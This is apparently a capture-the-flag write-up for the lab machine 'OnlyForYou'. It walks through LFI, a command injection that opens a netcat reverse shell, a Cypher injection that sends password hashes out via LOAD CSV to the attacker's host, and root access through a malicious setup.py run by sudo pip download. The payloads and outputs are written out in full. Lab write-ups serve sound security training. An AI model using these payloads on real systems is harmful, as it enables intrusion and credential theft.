OnlyForYou

Recon

nmap_scan.log
Open 10.129.90.221:22
Open 10.129.90.221:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -vvv -sV -sC -Pn" on ip 10.129.90.221

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e8:83:e0:a9:fd:43:df:38:19:8a:aa:35:43:84:11:ec (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDX7r34pmJ6U9KrHg0/WDdrofcOXqTr13Iix+3D5ChuYwY2fmqIBlfuDo0Cz0xLnb/jaT3ODuDtmAih6unQluWw3RAf03l/tHxXfvXlWBE3I7uDu+roHQM7+hyShn+559JweJlofiYKHjaErMp33DI22BjviMrCGabALgWALCwjqaV7Dt6ogSllj+09trFFwr2xzzrqhQVMdUdljle99R41Hzle7QTl4maonlUAdd2Ok41ACIu/N2G/iE61snOmAzYXGE8X6/7eqynhkC4AaWgV8h0CwLeCCMj4giBgOo6EvyJCBgoMp/wH/90U477WiJQZrjO9vgrh2/cjLDDowpKJDrDIcDWdh0aE42JVAWuu7IDrv0oKBLGlyznE1eZsX2u1FH8EGYXkl58GrmFbyIT83HsXjF1+rapAUtG0Zi9JskF/DPy5+1HDWJShfwhLsfqMuuyEdotL4Vzw8ZWCIQ4TVXMUwFfVkvf410tIFYEUaVk5f9pVVfYvQsCULQb+/uc=
|   256 83:f2:35:22:9b:03:86:0c:16:cf:b3:fa:9f:5a:cd:08 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAz/tMC3s/5jKIZRgBD078k7/6DY8NBXEE8ytGQd9DjIIvZdSpwyOzeLABxydMR79kDrMyX+vTP0VY5132jMo5w=
|   256 44:5f:7a:a3:77:69:0a:77:78:9b:04:e0:9f:11:db:80 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqatISwZi/EOVbwqfFbhx22EEv6f+8YgmQFknTvg0wr
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://only4you.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP (80)

Writeup.png

The application has no links going anywhere, so most probably nothing with dirbusting. Subdomain enumeration returns new domain:

└─$ domain='only4you.htb'; ffuf -u "http://$domain/" -H "Host: FUZZ.$domain" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -fl 8
beta                    [Status: 200, Size: 2191, Words: 370, Lines: 52, Duration: 145ms]
Writeup-1.png

We can download the source. From frontend we know that application allows to resize images and convert them.

└─$ curl http://beta.only4you.htb/source -Lso source.zip
└─$ unzip source.zip
└─$ code .

In app.py the download functionality is vulnerable to LFI. RTFM, and Python's os.path.join

@app.route('/download', methods=['POST'])
def download():
    image = request.form['image']
    filename = posixpath.normpath(image) 
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')
    if not os.path.isabs(filename):
        filename = os.path.join(app.config['LIST_FOLDER'], filename)
    try:
        if not os.path.isfile(filename):
            flash('Image doesn\'t exist!', 'danger')
            return redirect('/list')
    except (TypeError, ValueError):
        raise BadRequest()
    return send_file(filename, as_attachment=True)
└─$ curl http://beta.only4you.htb/download -d image=/etc/hostname
only4you

└─$ curl http://beta.only4you.htb/download -d image=/etc/passwd -s | grep sh$
root:x:0:0:root:/root:/bin/bash
john:x:1000:1000:john:/home/john:/bin/bash
neo4j:x:997:997::/var/lib/neo4j:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash

After some fuzzing we discover the path for application on server.

└─$ curl http://beta.only4you.htb/download -d image=/etc/nginx/sites-enabled/default
server {
    listen 80;
    return 301 http://only4you.htb$request_uri;
}

server {
        listen 80;
        server_name only4you.htb;

        location / {
                include proxy_params;
                proxy_pass http://unix:/var/www/only4you.htb/only4you.sock;
        }
}

server {
        listen 80;
        server_name beta.only4you.htb;

        location / {
                include proxy_params;
                proxy_pass http://unix:/var/www/beta.only4you.htb/beta.sock;
        }
}
└─$ curl http://beta.only4you.htb/download -d image=/var/www/only4you.htb/app.py
from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid

app = Flask(__name__)
app.secret_key = uuid.uuid4().hex

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        email = request.form['email']
        subject = request.form['subject']
        message = request.form['message']
        ip = request.remote_addr

        status = sendmessage(email, subject, message, ip)
        if status == 0:   flash('Something went wrong!', 'danger')
        elif status == 1: flash('You are not authorized!', 'danger')
        else:             flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
        return            redirect('/#contact')
    else:
        return render_template('index.html')
└─$ curl http://beta.only4you.htb/download -d image=/var/www/only4you.htb/form.py
import smtplib
import re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress

def issecure(email, ip):
    if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
        return 0
    else:
        domain = email.split("@", 1)[1]
        result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
        output = result.stdout.decode('utf-8')
        if "v=spf1" not in output:
            return 1
        else:
            domains = []
            ips = []
            if "include:" in output:
                dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
                dms.pop(0)
                for domain in dms:
                    domains.append(domain)
                while True:
                    for domain in domains:
                        result = run(
                            [f"dig txt {domain}"], shell=True, stdout=PIPE)
                        output = result.stdout.decode('utf-8')
                        if "include:" in output:
                            dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
                            domains.clear()
                            for domain in dms:
                                domains.append(domain)
                        elif "ip4:" in output:
                            ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
                            ipaddresses.pop(0)
                            for i in ipaddresses:
                                ips.append(i)
                        else:
                            pass
                    break
            elif "ip4" in output:
                ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
                ipaddresses.pop(0)
                for i in ipaddresses:
                    ips.append(i)
            else:
                return 1
        for i in ips:
            if ip == i:
                return 2
            elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
                return 2
            else:
                return 1


def sendmessage(email, subject, message, ip):
    status = issecure(email, ip)
    if status == 2:
        msg = EmailMessage()
        msg['From'] = f'{email}'
        msg['To'] = 'info@only4you.htb'
        msg['Subject'] = f'{subject}'
        msg['Message'] = f'{message}'

        smtp = smtplib.SMTP(host='localhost', port=25)
        smtp.send_message(msg)
        smtp.quit()
        return status
    elif status == 1:
        return status
    else:
        return status

The piece of code is vulnerable to code execution, it's running as shell and it has no sanitization!

result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)

Regular expression is bypassable if we put our payload at the end:

import re

def issecure(email, ip):
    if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
        return 0
    else:
        return f"dig txt {email.split('@', 1)[1]}"

print(issecure('let@me.in And Something Else', 'x'))
# dig txt me.in And Something Else
print(issecure('Something Else And let@me.in', 'x'))
# 0
└─$ curl http://only4you.htb/ -d 'name=x&subject=z&message=a' --data-urlencode 'email=let@me.in;busybox nc 10.10.14.99 4444 -e /bin/bash'
└─$ listen
Ncat: Connection from 10.129.90.221:33592.
script /dev/null -qc /bin/bash
www-data@only4you:~/only4you.htb$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

There are some internal applications running.

www-data@only4you:~/beta.only4you.htb$ ss -tunlp
Netid     State      Recv-Q     Send-Q               Local Address:Port            Peer Address:Port     Process
udp       UNCONN     0          0                    127.0.0.53%lo:53                   0.0.0.0:*
udp       UNCONN     0          0                          0.0.0.0:68                   0.0.0.0:*
tcp       LISTEN     0          4096                 127.0.0.53%lo:53                   0.0.0.0:*
tcp       LISTEN     0          128                        0.0.0.0:22                   0.0.0.0:*
tcp       LISTEN     0          4096                     127.0.0.1:3000                 0.0.0.0:*
tcp       LISTEN     0          2048                     127.0.0.1:8001                 0.0.0.0:*
tcp       LISTEN     0          70                       127.0.0.1:33060                0.0.0.0:*
tcp       LISTEN     0          151                      127.0.0.1:3306                 0.0.0.0:*
tcp       LISTEN     0          511                        0.0.0.0:80                   0.0.0.0:*         users:(("nginx",pid=1031,fd=6),("nginx",pid=1030,fd=6))
tcp       LISTEN     0          128                           [::]:22                      [::]:*
tcp       LISTEN     0          4096            [::ffff:127.0.0.1]:7687                       *:*
tcp       LISTEN     0          50              [::ffff:127.0.0.1]:7474                       *:*

The user www-data doesn't have shell, so no SSH upgrade. I decided to upgrade nc to pwncat-cs.

We can use chisel to port forward the applications

└─$ chisel server -p 36000 --reverse
---
(local) pwncat$ upload www/chisel /tmp/chisel
/tmp/chisel ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 8.7/8.7 MB • 255.1 kB/s • 0:00:00
[18:02:14] uploaded 8.65MiB in 36.12 seconds                                                 upload.py:76
(remote) www-data@only4you:/var/www/only4you.htb$ chmod +x /tmp/chisel
(remote) www-data@only4you:/var/www/only4you.htb$ /tmp/chisel client 10.10.14.99:36000 R:3000:0.0.0.0:3000 R:8001:0.0.0.0:8001 R:7474:0.0.0.0:7474 R:7687:0.0.0.0:7687 &

3000 is Gogs, which seems to be Gitea alternative. No creds... moving on.

Writeup-2.png

8001 is server ONLY4YOU application, trying default credentials logs us in.

Writeup-3.png

Creds: admin:admin

The Tasks mentioned migrating to neo4j, we also saw this port with user. The /search most likely performs contains query for Name field.

Writeup-4.png

https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4jhttps://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploitshttps://hackmd.io/@Chivato/rkAN7Q9NY

Query is injectable, but it's not your typical SQL. Cypher has very different syntax compared to SQL.

Writeup-5.png

Get the server version query works.

a' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.113/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 // 

The page returns 500, but clearly the request with version information is made to us.

Writeup-6.png

Get tables (or labels)

a' RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.113/?l='+label as l RETURN 0 as _0  // 
10.129.159.186 - - [03/Dec/2024 14:54:05] "GET /?l=user HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:54:05] "GET /?l=employee HTTP/1.1" 200 -

Get columns (or keys)

' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND distinct keys(f) as p LOAD CSV FROM 'http://10.10.14.113/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
10.129.159.186 - - [03/Dec/2024 14:56:52] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:53] "GET /?username=admin HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:53] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:53] "GET /?username=john HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:53] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:54] "GET /?username=admin HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:54] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:54] "GET /?username=john HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:55] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:55] "GET /?username=admin HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:55] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:56] "GET /?username=john HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:56] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:57] "GET /?username=admin HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:57] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:57] "GET /?username=john HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:57] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:58] "GET /?username=admin HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:58] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.129.159.186 - - [03/Dec/2024 14:56:58] "GET /?username=john HTTP/1.1" 200 -
Writeup-7.png

Creds: admin:admin Creds: john:ThisIs4You

SSH (22)

We are now available to SSH as john in to the box.

└─$ ssh john@only4you.htb
john@only4you:~$ id
uid=1000(john) gid=1000(john) groups=1000(john)

User.txt

john@only4you:~$ cat user.txt
873699b3ac06c40b3b5d73b93f61bbc8

Privilege Escalation

john@only4you:~$ sudo -l
Matching Defaults entries for john on only4you:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on only4you:
    (root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz

We are able to login into Gogs on port 3000 with john's credentials, if we can create malicious python package we can get RCE.

Malicious Python Packages and Code Execution via pip download

└─$ git clone https://github.com/wunderwuzzi23/this_is_fine_wuzzi
└─$ cd this_is_fine_wuzzi
└─$ nano setup.py
...
def RunCommand():
    __import__('os').system('install -m4777 /bin/bash /tmp/rootbash')
    print("Hello, p0wnd!")
...
└─$ pip install setuptools build
└─$ python -m build
...
Successfully built this_is_fine_wuzzi-0.0.1.tar.gz and this_is_fine_wuzzi-0.0.1-py3-none-any.whl

Upload this tar.gz to new Public repository, or edit the existing Test project to be public. After uploading we need to provide raw url so file can be downloaded.

john@only4you:~$ sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Letmein/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
Collecting http://127.0.0.1:3000/john/Letmein/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
  Downloading http://127.0.0.1:3000/john/Letmein/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
     - 2.8 kB 13.3 MB/s
  Saved ./this_is_fine_wuzzi-0.0.1.tar.gz
Successfully downloaded this-is-fine-wuzzi
john@only4you:~$ /tmp/rootbash -p
rootbash-5.0# id
uid=1000(john) gid=1000(john) euid=0(root) groups=1000(john)

Root.txt

rootbash-5.0# cat /root/root.txt
1020cf4af6ec2d185ad311efc05f119a

Last updated